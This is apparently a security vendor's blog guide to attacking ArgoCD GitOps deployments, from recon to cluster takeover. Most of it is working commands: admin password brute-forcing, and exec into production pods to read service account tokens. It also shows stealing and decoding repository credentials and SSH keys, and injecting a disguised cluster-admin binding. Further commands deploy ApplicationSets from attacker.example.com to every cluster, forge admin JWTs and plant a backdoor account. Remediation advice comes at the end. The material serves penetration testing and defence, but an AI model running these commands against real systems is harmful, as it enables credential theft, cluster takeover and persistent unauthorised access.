ArgoCD Security Testing: GitOps Pipeline Attacks, RBAC Bypass, and Secret Exposure

ArgoCD sits at the center of every GitOps deployment pipeline. It holds kubeconfig credentials for every cluster it manages, SSH keys or tokens for every application repository, and it continuously syncs whatever a Git commit says should be running in production. That combination — privileged cluster access, centralized repository credentials, and a sync engine that executes without human approval — makes ArgoCD one of the highest-value targets in a modern Kubernetes environment.

This guide walks through the full ArgoCD attack chain from initial reconnaissance to cluster takeover, with practical commands at every stage. It covers unauthenticated API access, authentication attacks, RBAC privilege escalation, repository credential theft, secret extraction from synced manifests, malicious manifest injection, and persistence techniques.

Why ArgoCD Is a High-Value Target

Most internal tools give an attacker access to one thing. ArgoCD gives an attacker access to everything. Consider what ArgoCD must possess in order to do its job:

The attack surface compounds when ApplicationSets are in use. ApplicationSets allow a single template to generate hundreds of Application objects across multiple clusters using generators that pull data from cluster inventories, Git directory structures, or external list files. A vulnerability in one ApplicationSet can cascade across the entire fleet.

Phase 1: Recon and Enumeration

Finding Exposed ArgoCD UIs

ArgoCD is typically exposed on port 443 or 80 behind an nginx ingress. It is common to find it at subdomains like argocd.internal, cd.company.com, or gitops.k8s.company.com. Start with passive discovery:

# Certificate transparency -- ArgoCD often gets its own subdomain
curl "https://crt.sh/?q=%.example.com&output=json" | jq -r '.[].name_value' | \
  grep -iE "argo|gitops|cd\." | sort -u

# Shodan for ArgoCD UI
shodan search 'http.title:"Argo CD" org:"target-company"'

# DNS brute force common ArgoCD subdomain patterns
for sub in argocd argo cd gitops deploy k8s-cd infra-cd; do
  host $sub.example.com 2>/dev/null | grep "has address"
done

# Check default port if you have an IP range
nmap -p 80,443,8080,8443 --open -sV 10.0.0.0/24 | grep -A2 "argocd\|Argo"

Version Fingerprinting Without Authentication

ArgoCD exposes version information via its API without requiring authentication by default. Knowing the exact version immediately narrows the CVE surface:

# Version endpoint -- unauthenticated on most deployments
curl -sk https://argocd.example.com/api/v1/version
# {"Version":"v2.9.3","BuildDate":"2023-11-15T...","GoVersion":"go1.21.4","Compiler":"gc","Platform":"linux/amd64"}

# Settings endpoint -- reveals OIDC configuration and anonymous access status
curl -sk https://argocd.example.com/api/v1/settings
# Returns OIDC config, app label key, resource overrides, status badge config

# Check if anonymous access is enabled
curl -sk https://argocd.example.com/api/v1/applications | python3 -m json.tool | head -20

Critical versions to note: ArgoCD < 2.3.0 is affected by CVE-2022-24348, a path traversal in the Helm values file parameter that allows reading arbitrary files from the repo-server container. ArgoCD < 2.1.9 and < 2.2.4 have a related variant allowing an attacker with read access to any Application to read secrets from other namespaces. These are worth confirming before investing time in manual techniques.

CVE-2022-24348: Helm values path traversal

ArgoCD versions prior to 2.3.0 allow an authenticated user to use the valueFiles parameter to traverse paths on the repo-server, reading files outside the repository. The fix added path validation, but older instances in the wild still expose this.

API Enumeration Without Authentication

Even when anonymous access is nominally disabled, several endpoints remain accessible without a token. Map what is reachable before attempting any credentials:

# Enumerate what is accessible without a JWT
for endpoint in \
  "/api/v1/version" \
  "/api/v1/settings" \
  "/api/v1/applications" \
  "/api/v1/projects" \
  "/api/v1/repositories" \
  "/api/v1/clusters" \
  "/api/v1/account" \
  "/metrics"; do
  status=$(curl -sk -o /dev/null -w "%{http_code}" "https://argocd.example.com$endpoint")
  echo "$status  $endpoint"
done

A 200 response on /api/v1/applications without a token confirms anonymous access is enabled. You can enumerate every application, its sync status, source repo URL, and target namespace without credentials. A 200 on /metrics exposes Prometheus metrics including sync counts, error rates, and cluster information.

Phase 2: Authentication Attacks

Default Admin Credentials

ArgoCD bootstraps with a local admin account whose initial password is automatically set to the name of the ArgoCD server pod. Teams that do not rotate this after installation leave it trivially guessable if you can observe pod names — via the API, a leaked kubeconfig, or simply via the UI's error messages:

# The initial admin password equals the argocd-server pod name
# If you have any cluster access, retrieve it directly:
kubectl -n argocd get secret argocd-initial-admin-secret \
  -o jsonpath='{.data.password}' | base64 -d && echo

# If the secret was never deleted post-install (very common), this works
# even with minimal RBAC -- secrets:get on that one specific resource

# Try the pod-name-as-password approach if you can list pods:
POD=$(kubectl -n argocd get pods -l app.kubernetes.io/name=argocd-server \
  -o jsonpath='{.items[0].metadata.name}')
argocd login argocd.example.com --username admin --password "$POD" --insecure

Local User Brute Force

ArgoCD supports additional local accounts beyond admin. These are defined in the argocd-cm ConfigMap and are often created for CI/CD automation with weak, guessable passwords. There is no account lockout by default:

# Enumerate local users via the API (requires some auth, or anonymous if enabled)
curl -sk -H "Authorization: Bearer $TOKEN" \
  https://argocd.example.com/api/v1/account | jq '.items[].name'

# Brute force the admin account -- ArgoCD does not rate-limit by default
# No lockout policy unless explicitly configured via OIDC or a reverse proxy
while IFS= read -r password; do
  result=$(argocd login argocd.example.com \
    --username admin \
    --password "$password" \
    --insecure 2>&1)
  if echo "$result" | grep -q "Logged in"; then
    echo "[+] Found password: $password"
    break
  fi
done < /path/to/wordlist.txt

# Common weak passwords to try first
for pw in admin password argocd changeme Password1 "Admin@123" \
  "argocd123" "gitops" "$(hostname)"; do
  argocd login argocd.example.com --username admin \
    --password "$pw" --insecure 2>&1 | \
    grep -q "Logged in" && echo "[+] Password: $pw" && break
done

OIDC Misconfiguration

ArgoCD commonly delegates authentication to an OIDC provider — Okta, Keycloak, GitHub, or Google. Misconfigurations at the OIDC layer can enable authentication bypass or group membership escalation:

# Check if ArgoCD's OIDC callback is an open redirect
# The redirect_uri is controllable -- some OIDC providers redirect to any registered prefix
curl -sk "https://argocd.example.com/api/dex/auth?client_id=argo-cd&redirect_uri=https://attacker.com/callback&response_type=code&scope=openid+profile+email&state=RANDOM"

# If ArgoCD is backed by Dex, enumerate the Dex issuer configuration
curl -sk https://argocd.example.com/api/dex/.well-known/openid-configuration | python3 -m json.tool

# Check the ArgoCD OIDC config for group claim mapping
# If the OIDC provider allows user-controlled group membership,
# adding yourself to the mapped admin group grants ArgoCD admin RBAC
kubectl -n argocd get configmap argocd-cm -o jsonpath='{.data.oidc\.config}' | python3 -m json.tool

SSO Bypass via Direct API Access

When ArgoCD is configured for SSO-only authentication, the local admin account is sometimes left enabled as a break-glass emergency account. Teams forget to disable it or set a strong password. The UI enforces SSO-only login, but the API does not:

# Even with SSO enforced for the UI, the API accepts local account JWT tokens
# Test if local admin still responds alongside SSO
curl -sk -X POST https://argocd.example.com/api/v1/session \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin"}' | jq '.token'

# A returned token confirms SSO bypass -- the API does not enforce
# the SSO-only policy that the UI enforces via redirect

Phase 3: RBAC Bypass and Privilege Escalation

Understanding the ArgoCD RBAC Model

ArgoCD RBAC is expressed as Casbin policies stored in the argocd-rbac-cm ConfigMap. Policies follow the pattern p, <subject>, <resource>, <action>, <object>, <effect>. Resources include applications, applicationsets, repositories, clusters, certificates, accounts, logs, and exec. Actions include get, create, update, delete, sync, and action.

The critical misconfiguration pattern is wildcard grants that appear scoped but are not. Read the policy and look for these:

# Read the RBAC config if you have kubectl access
kubectl -n argocd get configmap argocd-rbac-cm -o yaml

# Example misconfigured policy that grants sync on ALL apps in ALL projects:
# p, role:developer, applications, sync, */*, allow
# Looks scoped ("developer role") but the *//* wildcard means any project and any app

# A * on resource grants ALL actions including exec:
# p, role:developer, applications, *, my-project/*, allow
# This grants exec into pods even though exec was probably not intended

# Enumerate your own effective permissions via the CLI
argocd account can-i sync applications '*/*'
argocd account can-i exec applications '*/*'
argocd account can-i create repositories '*'
argocd account can-i get clusters '*'
argocd account can-i create applicationsets '*'

Action Escalation: From Sync to Exec

The exec resource was added as a distinct permission in ArgoCD 2.4. RBAC policies written before 2.4 that grant a wildcard on applications implicitly include exec. This is a common finding: developers have sync access and unknowingly also have the ability to exec arbitrary commands into any production container:

# Test exec capability -- runs a command inside the first container of the specified pod
argocd app exec <app-name> <pod-name> --container <container-name> -- /bin/sh

# More targeted: dump environment variables from a production container
argocd app exec payment-service payment-service-7d9f4b-xkp2r \
  --container payment-api -- env

# Read mounted secrets (service account tokens, TLS certs, custom secrets)
argocd app exec payment-service payment-service-7d9f4b-xkp2r \
  --container payment-api -- cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Lateral movement: use the container's service account token to call the Kubernetes API
TOKEN=$(argocd app exec payment-service payment-service-7d9f4b-xkp2r \
  --container payment-api -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/namespaces/production/secrets | \
  jq '[.items[].metadata.name]'

ApplicationSet Controller Privilege Escalation

The ApplicationSet controller creates ArgoCD Application objects. A user with create on applicationsets can generate Application objects targeting clusters and namespaces beyond their normal project-level RBAC scope — effectively bypassing the project boundary entirely:

# Check if ApplicationSet creation is permitted for your account
argocd account can-i create applicationsets '*'

# If yes, create an ApplicationSet using the cluster generator
# targeting a privileged namespace you cannot normally access
cat <<EOF | kubectl apply -f -
apiVersion: argoproj.io/v1alpha1
kind: ApplicationSet
metadata:
  name: escalation-test
  namespace: argocd
spec:
  generators:
  - list:
      elements:
      - cluster: in-cluster
        namespace: kube-system
  template:
    metadata:
      name: '{{cluster}}-escalation'
    spec:
      project: default
      source:
        repoURL: https://attacker.example.com/malicious-manifests.git
        targetRevision: HEAD
        path: .
      destination:
        server: https://kubernetes.default.svc
        namespace: kube-system
      syncPolicy:
        automated: {}
EOF

Phase 4: Repository Credential Theft

Listing Repositories via API

ArgoCD stores repository credentials as Kubernetes Secrets in the argocd namespace. The ArgoCD API surfaces the list of registered repositories and, for some authentication types, partial credential information that can be used to infer the full credential type and scope:

# List all repositories ArgoCD is tracking
argocd repo list
# HTTPS repositories reveal the username and URL
# SSH repositories reveal the public key fingerprint

# Direct API call with a token
curl -sk -H "Authorization: Bearer $TOKEN" \
  https://argocd.example.com/api/v1/repositories | \
  jq '.items[] | {repo: .repo, type: .type, username: .username, connectionState: .connectionState}'

# If you only have 'get' on applications but not repositories,
# the application spec reveals the repo URL for every tracked app:
curl -sk -H "Authorization: Bearer $TOKEN" \
  https://argocd.example.com/api/v1/applications | \
  jq '.items[] | {name: .metadata.name, repoURL: .spec.source.repoURL}'

Extracting Git Credentials from Kubernetes Secrets

ArgoCD stores repository credentials in two types of Secrets: per-repository secrets (labeled argocd.argoproj.io/secret-type: repository) and credential templates (labeled argocd.argoproj.io/secret-type: repo-creds). If you have secrets:get in the argocd namespace — directly or via an over-privileged ArgoCD service account — you can extract raw credentials:

# List all ArgoCD repository secrets
kubectl -n argocd get secrets \
  -l argocd.argoproj.io/secret-type=repository \
  -o json | jq '.items[] | {name: .metadata.name, data: .data}'

# Decode a specific repository's credentials
SECRET_NAME="repo-3456789012"
kubectl -n argocd get secret $SECRET_NAME -o json | jq -r '
  .data | {
    url: (.url // "" | @base64d),
    username: (.username // "" | @base64d),
    password: (.password // "" | @base64d),
    sshPrivateKey: (.sshPrivateKey // "" | @base64d),
    githubAppPrivateKey: (.githubAppPrivateKey // "" | @base64d),
    githubAppID: (.githubAppID // "" | @base64d)
  }'

# Retrieve the ArgoCD admin bcrypt hash from argocd-secret
kubectl -n argocd get secret argocd-secret \
  -o jsonpath='{.data.admin\.password}' | base64 -d && echo

SSH Key Exposure

SSH deploy keys stored by ArgoCD are private keys with read access to application repositories. Extracting them allows cloning any tracked repository, exposing unreleased code, additional secrets in configuration files, and internal infrastructure details:

# Extract and save SSH private key from ArgoCD repository secret
kubectl -n argocd get secret repo-1234567890 \
  -o jsonpath='{.data.sshPrivateKey}' | base64 -d > /tmp/argocd_deploy_key
chmod 600 /tmp/argocd_deploy_key

# Use the extracted key to clone the application repository
GIT_SSH_COMMAND="ssh -i /tmp/argocd_deploy_key -o StrictHostKeyChecking=no" \
  git clone git@github.com:target-org/production-manifests.git

# Search the cloned repository for additional secrets
trufflehog git file://./production-manifests --json 2>/dev/null | \
  jq '{detector: .DetectorType, secret: .Raw, file: .SourceMetadata.Data.Git.file}'

# Also scan git history -- secrets committed and later deleted are still there
trufflehog git file://./production-manifests --since-commit HEAD~100 --json

Phase 5: Secret Exposure in Manifests

Plaintext Secrets in Synced Manifests

Many teams commit plaintext Kubernetes Secret manifests to Git that ArgoCD then syncs. The ArgoCD API can render the full manifest — including all env, envFrom, and volume references — for any application the authenticated user can read. Base64 encoding in Kubernetes Secrets is not encryption:

# Dump the rendered manifests for all resources in an application
argocd app manifests payment-service

# The rendered output includes all Kubernetes objects as they will be applied,
# including Secret objects if the team committed them to Git

# Filter for Secret objects specifically and decode all values
argocd app manifests payment-service | python3 -c "
import sys, yaml, json, base64
docs = list(yaml.safe_load_all(sys.stdin))
for d in docs:
    if d and d.get('kind') == 'Secret':
        raw = d.get('data', {})
        decoded = {}
        for k, v in raw.items():
            try:
                decoded[k] = base64.b64decode(v).decode('utf-8', errors='replace')
            except Exception:
                decoded[k] = v
        print(json.dumps({
            'name': d['metadata']['name'],
            'namespace': d['metadata']['namespace'],
            'data': decoded
        }, indent=2))
"

Helm Values Containing Secrets

Helm chart deployments via ArgoCD often pass database passwords, API keys, and signing secrets as Helm parameters. These are stored in the Application spec and are retrievable via the API for anyone with read access to the Application object:

# Retrieve the full Application spec including Helm values parameters
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://argocd.example.com/api/v1/applications/payment-service" | \
  jq '.spec.source.helm'

# Output will include helm parameters set at deploy time:
# {
#   "valueFiles": ["values-production.yaml"],
#   "parameters": [
#     {"name": "database.password", "value": "supersecret123"},
#     {"name": "stripe.apiKey", "value": "sk_live_..."},
#     {"name": "jwt.secret", "value": "..."}
#   ]
# }

# Get rendered manifests via the API directly
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://argocd.example.com/api/v1/applications/payment-service/manifests" | \
  jq '.manifests[]' | python3 -c "
import sys, json, yaml, base64
for line in sys.stdin:
    line = line.strip()
    if not line:
        continue
    try:
        manifest = yaml.safe_load(json.loads(line))
        if manifest and manifest.get('kind') in ('Secret', 'ConfigMap'):
            print(json.dumps(manifest, indent=2, default=str))
    except Exception:
        pass
"

Phase 6: Cluster Takeover via Sync

Malicious Manifest Injection into a Tracked Repository

If auto-sync is enabled and you can write to the tracked branch — via stolen repository credentials from Phase 4, a compromised developer account, or supply chain compromise — you can deploy any Kubernetes resource to the target cluster. The ArgoCD service account will apply it with its cluster-level permissions:

# Step 1: Clone the tracked repository using credentials from Phase 4
git clone https://token:$EXTRACTED_TOKEN@github.com/target-org/k8s-manifests.git
cd k8s-manifests

# Step 2: Add a ClusterRoleBinding that grants cluster-admin to an attacker-controlled SA
cat <<EOF > escalation/cluster-admin-binding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: debug-cluster-access
  labels:
    app.kubernetes.io/managed-by: Helm
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: debug-sa
  namespace: kube-system
EOF

# Step 3: Add the service account in the tracked path
cat <<EOF > escalation/debug-sa.yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  name: debug-sa
  namespace: kube-system
EOF

# Step 4: Commit and push -- ArgoCD will sync within 3 minutes (default poll interval)
# or immediately if a webhook fires
git add escalation/
git commit -m "chore: add debug service account for troubleshooting"
git push origin main

# Step 5: Retrieve the service account token after sync completes
kubectl -n kube-system get secret \
  $(kubectl -n kube-system get sa debug-sa -o jsonpath='{.secrets[0].name}') \
  -o jsonpath='{.data.token}' | base64 -d

ApplicationSet Cluster Generator Abuse

The ApplicationSet cluster generator automatically creates one Application per registered cluster. If you can write an ApplicationSet with a malicious source, it deploys to every cluster ArgoCD manages in a single operation:

# Deploy a privileged payload to all clusters simultaneously via ApplicationSet
cat <<EOF | kubectl apply -f - --kubeconfig=/tmp/argocd_kubeconfig
apiVersion: argoproj.io/v1alpha1
kind: ApplicationSet
metadata:
  name: infra-audit
  namespace: argocd
spec:
  generators:
  - clusters: {}    # empty selector matches ALL registered clusters
  template:
    metadata:
      name: 'infra-audit-{{name}}'
    spec:
      project: default
      source:
        repoURL: https://attacker.example.com/payload.git
        targetRevision: HEAD
        path: manifests
      destination:
        server: '{{server}}'
        namespace: kube-system
      syncPolicy:
        automated:
          prune: false
          selfHeal: false
EOF

Git Generator with Path Traversal (CVE-2022-24348)

On versions prior to ArgoCD 2.3.0, the Helm valueFiles parameter was not sanitized for path traversal. An attacker with the ability to create an Application could read arbitrary files from the repo-server pod — including mounted secrets like the ArgoCD TLS certificate, service account tokens, or internal kubeconfig files:

# On vulnerable versions (< 2.3.0), abuse valueFiles path traversal
# to read files from the repo-server container's filesystem
argocd app create exploit-app \
  --repo https://github.com/target/helm-charts \
  --helm-chart my-chart \
  --revision HEAD \
  --helm-set-file config=../../../../etc/passwd \
  --dest-server https://kubernetes.default.svc \
  --dest-namespace default

# After sync, retrieve the rendered manifest to see the file contents
argocd app manifests exploit-app | grep -A50 "config:"

# More useful targets on an unpatched repo-server:
# ../../../../var/run/secrets/kubernetes.io/serviceaccount/token
# ../../../../home/argocd/.ssh/id_rsa
# ../../../../tmp/git-ask-pass.sh

Phase 7: Persistence

ArgoCD Admin Token Theft and Forgery

ArgoCD JWTs are long-lived by default. The admin account token does not expire unless explicitly configured. Stealing a valid token and caching it provides durable access that survives password rotations — it remains valid until the server signing key is rotated or the server restarts:

# If you have kubectl access to the argocd namespace, extract the JWT signing key
# All ArgoCD JWTs are signed with the server.secretkey stored in argocd-secret
kubectl -n argocd get secret argocd-secret \
  -o jsonpath='{.data.server\.secretkey}' | base64 -d && echo

# With the signing key, forge a long-lived admin JWT offline
python3 - <<'PYEOF'
import jwt, time
key = "EXTRACTED_SECRET_KEY_HERE"
payload = {
    "iss": "argocd",
    "sub": "admin",
    "exp": int(time.time()) + 86400 * 365,
    "iat": int(time.time()),
    "jti": "forged-persistence-token",
    "type": "login_token"
}
print(jwt.encode(payload, key, algorithm="HS256"))
PYEOF

# Alternatively, generate a non-expiring API token via the CLI
# (requires current valid admin access)
ARGOCD_TOKEN=$(argocd account generate-token --account admin --expires-in 0)
echo $ARGOCD_TOKEN

Creating Backdoor Local Users

ArgoCD local users are defined in the argocd-cm ConfigMap. If you have kubectl write access to the argocd namespace, you can add a backdoor account that survives ArgoCD redeployments, pod restarts, and even version upgrades — because it is stored in a ConfigMap, not in the container image:

# Add a local user to argocd-cm with login and API key capabilities
kubectl -n argocd patch configmap argocd-cm --type merge -p '
{
  "data": {
    "accounts.backdoor": "apiKey, login",
    "accounts.backdoor.enabled": "true"
  }
}'

# Set the password for the backdoor account (requires admin access)
argocd account update-password \
  --account backdoor \
  --new-password 'Backd00r!Password' \
  --current-password $CURRENT_ADMIN_PASSWORD

# Generate a long-lived API key that does not expire
argocd account generate-token --account backdoor --expires-in 0
# Returns a persistent token -- store it externally for durable access

# Verify the backdoor account works
argocd login argocd.example.com \
  --username backdoor \
  --password 'Backd00r!Password' \
  --insecure

Webhook Forgery to Trigger Malicious Syncs

ArgoCD listens for Git webhooks on /api/webhook to trigger immediate syncs rather than waiting for the polling interval. If the webhook secret is absent or weak, any party can trigger an immediate sync of a repository branch — useful for ensuring a malicious commit is picked up quickly, or for forcing a sync storm as a denial-of-service:

# Check if ArgoCD webhook secret is configured
kubectl -n argocd get secret argocd-secret \
  -o jsonpath='{.data.webhook\.github\.secret}' | base64 -d && echo
# Empty output = no secret = unsigned webhooks accepted from anywhere

# Trigger an immediate sync without waiting for poll interval (no secret required)
curl -sk -X POST https://argocd.example.com/api/webhook \
  -H "Content-Type: application/json" \
  -H "X-GitHub-Event: push" \
  -d '{
    "ref": "refs/heads/main",
    "repository": {
      "clone_url": "https://github.com/target-org/k8s-manifests.git"
    }
  }'

# With a weak/known secret, compute the HMAC and send a signed webhook
WEBHOOK_SECRET="weakpassword"
PAYLOAD='{"ref":"refs/heads/main","repository":{"clone_url":"https://github.com/target-org/k8s-manifests.git"}}'
SIG=$(echo -n "$PAYLOAD" | openssl dgst -sha256 -hmac "$WEBHOOK_SECRET" | awk '{print "sha256="$2}')
curl -sk -X POST https://argocd.example.com/api/webhook \
  -H "Content-Type: application/json" \
  -H "X-Hub-Signature-256: $SIG" \
  -d "$PAYLOAD"

Tools Reference

Tool Purpose Key Usage
argocd CLI Native API client for ArgoCD argocd app manifests, argocd app exec, argocd repo list, argocd account can-i, argocd account generate-token
kubectl Kubernetes API — the other half of the attack surface Extract Secrets from argocd namespace, patch ConfigMaps, read RBAC policies, create service accounts post-exploitation
curl Direct ArgoCD API calls without CLI auth context Unauthenticated endpoint enumeration, token-based API calls, webhook forgery testing
trufflehog Secret scanning in Git repositories trufflehog git file://./repo --json after cloning with stolen SSH keys or tokens
pyjwt / jwt_tool JWT analysis and forgery Decode ArgoCD tokens to inspect claims, forge admin JWT using extracted signing key
nmap + shodan ArgoCD instance discovery Port scanning for ArgoCD on 443/8080/8443, banner grabbing, passive recon via Shodan and certificate transparency

Remediation

Disable Anonymous Access

Anonymous access is off by default but can be accidentally re-enabled via argocd-cm. Verify it is disabled in your deployment and add an explicit deny:

# Check current anonymous access setting
kubectl -n argocd get configmap argocd-cm \
  -o jsonpath='{.data.users\.anonymous\.enabled}'
# Should return empty (not set) or "false"

# Explicitly set it to false
kubectl -n argocd patch configmap argocd-cm --type merge \
  -p '{"data": {"users.anonymous.enabled": "false"}}'

Strong RBAC Policies

Avoid wildcard grants. Scope policies to specific projects and actions. Treat exec, delete, and create on applicationsets as cluster-admin-equivalent and restrict them to a very small set of explicitly named identities:

# Correctly scoped RBAC policy for a developer role
p, role:developer, applications, get, my-project/*, allow
p, role:developer, applications, sync, my-project/*, allow
p, role:developer, logs, get, my-project/*, allow

# Explicitly deny exec even if wildcards exist elsewhere
p, role:developer, exec, create, */*, deny

# What NOT to do -- wildcard on action grants exec everywhere:
# p, role:developer, applications, *, */*, allow

Repository Credential Rotation and Scoping

Use read-only deploy keys scoped to individual repositories rather than a single credential with broad access. Rotate credentials after any personnel change or suspected compromise. Prefer GitHub Apps over personal access tokens — App tokens expire, carry explicit repository scopes, and support installation-level permission constraints that personal tokens do not.

Replace Plaintext Secrets with External Secret Management

Never commit plaintext Kubernetes Secret manifests to Git. Use one of the established GitOps-compatible approaches:

Network Policies and Access Control

Restrict access to the ArgoCD API server to internal networks or VPN. Apply Kubernetes NetworkPolicies to prevent workloads in other namespaces from reaching the ArgoCD service — lateral movement via a compromised application pod is a realistic attack path:

# Restrict argocd-server ingress to internal CIDR only
# Enforce both at the load balancer/ingress AND with a NetworkPolicy
cat <<EOF | kubectl apply -f -
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: argocd-server-ingress-restriction
  namespace: argocd
spec:
  podSelector:
    matchLabels:
      app.kubernetes.io/name: argocd-server
  policyTypes:
  - Ingress
  ingress:
  - from:
    - ipBlock:
        cidr: 10.0.0.0/8
    ports:
    - port: 8080
    - port: 8443
EOF

Webhook Secret Configuration

Always configure a strong, randomly generated webhook secret. ArgoCD validates the HMAC-SHA256 signature on incoming webhooks when the secret is configured. Without it, any internet-accessible ArgoCD instance accepts webhook requests from any source:

# Generate a strong webhook secret (32 bytes of entropy)
WEBHOOK_SECRET=$(openssl rand -hex 32)

# Store it in argocd-secret
kubectl -n argocd patch secret argocd-secret --type merge \
  -p "{\"data\": {\"webhook.github.secret\": \"$(echo -n $WEBHOOK_SECRET | base64)\"}}"

# Restart argocd-server to pick up the change
kubectl -n argocd rollout restart deployment argocd-server

# Confirm the webhook endpoint now requires a valid signature
curl -sk -X POST https://argocd.example.com/api/webhook \
  -H "Content-Type: application/json" \
  -H "X-GitHub-Event: push" \
  -d '{"ref":"refs/heads/main","repository":{"clone_url":"https://github.com/example/repo.git"}}'
# Should now return 400 or 401 without a valid signature

Additional Hardening Measures


Ironimo scans your web application with the same tooling professional security engineers use — on demand, without the invoice.

Our scanner identifies exposed management interfaces, authentication weaknesses, and misconfigured access controls across your web-facing infrastructure. Get your first report in minutes.

Start free scan
← Back to Blog